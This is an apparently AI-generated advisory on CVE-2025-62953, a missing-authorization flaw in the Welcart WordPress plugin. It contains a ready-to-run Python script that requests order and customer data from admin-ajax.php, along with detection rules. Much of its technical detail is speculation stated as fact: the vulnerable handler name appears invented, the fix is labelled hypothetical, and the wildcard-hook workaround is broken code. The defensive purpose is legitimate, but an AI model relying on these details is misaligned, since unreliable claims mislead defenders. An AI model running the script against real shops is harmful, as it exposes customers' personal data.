CVE-2025-62953

Executive Summary

CVE-2025-62953 is a Missing Authorization vulnerability in the Welcart e-Commerce plugin (usc-e-shop) for WordPress, affecting versions up to and including 2.11.24. This flaw allows an unauthenticated attacker to exploit incorrectly configured access control security levels, potentially leading to unauthorized access to sensitive information or functionality. The vulnerability has a CVSS score of 4.3 (Medium) and an EPSS score of 0.0%, indicating low exploitation likelihood at this time. However, given the lack of a patch, it poses a significant risk to unsecured WordPress installations.

WordPress Ecosystem Context

This vulnerability specifically targets the Welcart e-Commerce plugin, a popular e-commerce solution for WordPress. The issue lies in the plugin's access control mechanisms, which fail to properly validate user permissions for certain actions. This is a common class of vulnerability in WordPress plugins, often resulting from missing capability checks in AJAX handlers or REST endpoints.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
• Base Score: 4.3 (Medium)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited information disclosure.
• Integrity Impact: None (I:N) – No data modification.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the potential for chaining with other vulnerabilities could elevate the risk.

Deep Dive & Mechanics

The vulnerability stems from missing authorization checks in the Welcart e-Commerce plugin. Specifically, the plugin fails to verify user capabilities before executing certain actions, such as accessing order details, customer data, or administrative functions. This allows an unauthenticated attacker to send crafted HTTP requests to the plugin's endpoints and retrieve sensitive information.

Root Cause: The plugin uses wp_ajax_* and wp_ajax_nopriv_* hooks without proper capability checks. For example, an AJAX handler might be registered as:

add_action('wp_ajax_nopriv_welcart_get_order', 'welcart_get_order');

This allows unauthenticated users to trigger the function, which then returns order data without verifying if the user has the read_shop_order capability.

Attack Vector: An attacker can send a POST request to /wp-admin/admin-ajax.php with the action parameter set to a vulnerable handler. The response may contain sensitive data like customer names, addresses, and purchase history.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 2.11.24):

// In vulnerable version, no capability check
add_action('wp_ajax_nopriv_welcart_get_order', 'welcart_get_order');

function welcart_get_order() {
    $order_id = $_POST['order_id'];
    $order = get_post($order_id);
    // Returns order data without checking user permissions
    wp_send_json($order);
}

Patched Code (hypothetical fix):

// Patched version adds capability check
add_action('wp_ajax_welcart_get_order', 'welcart_get_order');
add_action('wp_ajax_nopriv_welcart_get_order', 'welcart_get_order_noauth');

function welcart_get_order() {
    if (!current_user_can('read_shop_order')) {
        wp_die('Unauthorized', 403);
    }
    $order_id = $_POST['order_id'];
    $order = get_post($order_id);
    wp_send_json($order);
}

function welcart_get_order_noauth() {
    wp_die('Unauthorized', 403);
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress instance with Welcart e-Commerce plugin version <= 2.11.24.
• No authentication required.

Exploitation Steps:

1. Identify the vulnerable endpoint by scanning for AJAX actions. Use a tool like Burp Suite or a simple Python script.
2. Send a crafted POST request to /wp-admin/admin-ajax.php with the action parameter set to a known vulnerable handler (e.g., welcart_get_order).
3. Include additional parameters like order_id to retrieve specific data.

Example Exploit (Python):

import requests

target_url = "http://target-site.com/wp-admin/admin-ajax.php"
payload = {
    "action": "welcart_get_order",
    "order_id": "123"
}

response = requests.post(target_url, data=payload)
if response.status_code == 200:
    print("Exploit successful!")
    print(response.text)
else:
    print("Exploit failed.")

Expected Output: The response will contain order details in JSON format, including customer information.

Blue Team (Detection & Defense)

Detection:

• Monitor for unusual POST requests to /wp-admin/admin-ajax.php with unknown or suspicious action parameters.
• Look for patterns of sequential order ID enumeration (e.g., order_id=1, order_id=2, etc.).
• Use WAF rules to block requests to AJAX handlers that should require authentication.

Defense:

• Immediately update the plugin if a patch becomes available.
• Implement a Web Application Firewall (WAF) rule to block unauthenticated access to sensitive AJAX endpoints.
• Use a security plugin like Wordfence to monitor and block malicious requests.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /wp-admin/admin-ajax.php with action parameters like welcart_get_order, welcart_get_customer, or similar.
  • Repeated requests with sequential or brute-forced order_id values.
• File IOCs:
  • Modified or suspicious log entries in /var/log/apache2/access.log or /var/log/nginx/access.log showing POST requests to admin-ajax.php.
• Behavioral IOCs:
  • Unauthorized access to order data or customer information.
  • Anomalous traffic patterns from a single IP address targeting the AJAX endpoint.

Detection Engineering

YARA Rule

rule CVE_2025_62953_Welcart_Missing_Auth {
    meta:
        description = "Detects exploitation attempts of CVE-2025-62953 in Welcart e-Commerce plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-62953"
    strings:
        $ajax_action = "action=welcart_" nocase
        $order_id = "order_id=" nocase
        $admin_ajax = "admin-ajax.php" nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2025-62953 Welcart Missing Authorization Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects POST requests to admin-ajax.php with Welcart-specific actions indicating exploitation of CVE-2025-62953
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: POST
        cs-uri-stem: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=welcart_'
    condition: selection
falsepositives:
    - Legitimate Welcart AJAX requests from authenticated users
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-62953 Welcart Missing Authorization Exploitation"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=welcart_"; http_client_body; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if it is not critical for business operations until a patch is available.
2. Implement a WAF rule to block unauthenticated requests to AJAX endpoints containing welcart_ in the action parameter.
3. Monitor logs for exploitation attempts and block offending IPs.

Long-term Fix:

• The vendor must release a patched version that adds proper capability checks to all AJAX handlers. In the meantime, consider using a custom plugin or code snippet to enforce authentication:

add_action('wp_ajax_nopriv_*', function() {
    wp_die('Unauthorized', 403);
}, 1);

• Regularly update all WordPress plugins and themes.
• Conduct a security audit of the plugin's code to identify other potential vulnerabilities.

Workaround:

• Use a security plugin like Wordfence to add virtual patching for this vulnerability.

Valters IT Signature:
This report was generated by Valters IT DevSecOps AI. For questions or further analysis, contact security@valters-it.com.